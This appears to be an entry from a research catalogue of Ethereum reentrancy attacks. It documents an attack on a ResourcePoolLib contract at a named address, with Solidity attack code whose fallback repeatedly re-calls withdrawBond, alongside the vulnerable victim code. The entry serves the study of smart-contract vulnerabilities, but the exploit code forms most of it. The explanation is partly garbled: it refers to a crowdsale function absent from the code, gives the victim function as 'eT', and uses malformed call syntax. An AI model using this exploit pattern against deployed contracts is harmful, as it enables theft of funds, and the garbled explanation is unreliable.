Attack 16ΒΆ
Contract Name
ResourcePoolLib
Contract Address
0xf4861b23d0cbf1cf6a3ffb6fe3ac987e87fc1168
Transaction Count
16
Invovled Ethers
0.94 Ethers
Length of the Call Chain
1 external function
Victim Function
eT
Attack Mechanisim
Attack code:
contract Attack is UacCrowdsale{
ResourcePoolLib r = new ResourcePoolLib();
constructor() payable {}
function startAttack() public {
r.withdrawBond(pool this, 10, 10);
}
function() payable {
r.withdrawBond(pool this, 10, 10);
}
function getvalue() returns (uint) {
return this.balance;
}
}
Attacked code:
contract ResourcePoolLib {
...
function withdrawBond(Pool storage self, address resourceAddress, uint value, uint minimumBond) public {
if (value > self.bonds[resourceAddress]) {
throw;
}
if (isInPool(self, resourceAddress)) {
if (self.bonds[resourceAddress] - value < minimumBond) {
return;
}
}
deductFromBond(self, resourceAddress, value);
if (!resourceAddress.send(value)) {
if (!resourceAddress.call.gas(msg.gas).value(value)()) {
throw;
}
}
}
...
}
In this case, the attacker can lauch reentrancy attack by calling crowdsale.mintReservationTokens(to, amount)
. The attacker firstly resets the address variable crowdsale
. Then he can call victim function withdrawBond
to start attack. The transaction destination is already modified, so the external call is controled by attacker. He can point this call back to the victim function withdrawBond
and form a call-loop easily.
Attack. The attacker call startAttack
to start attack.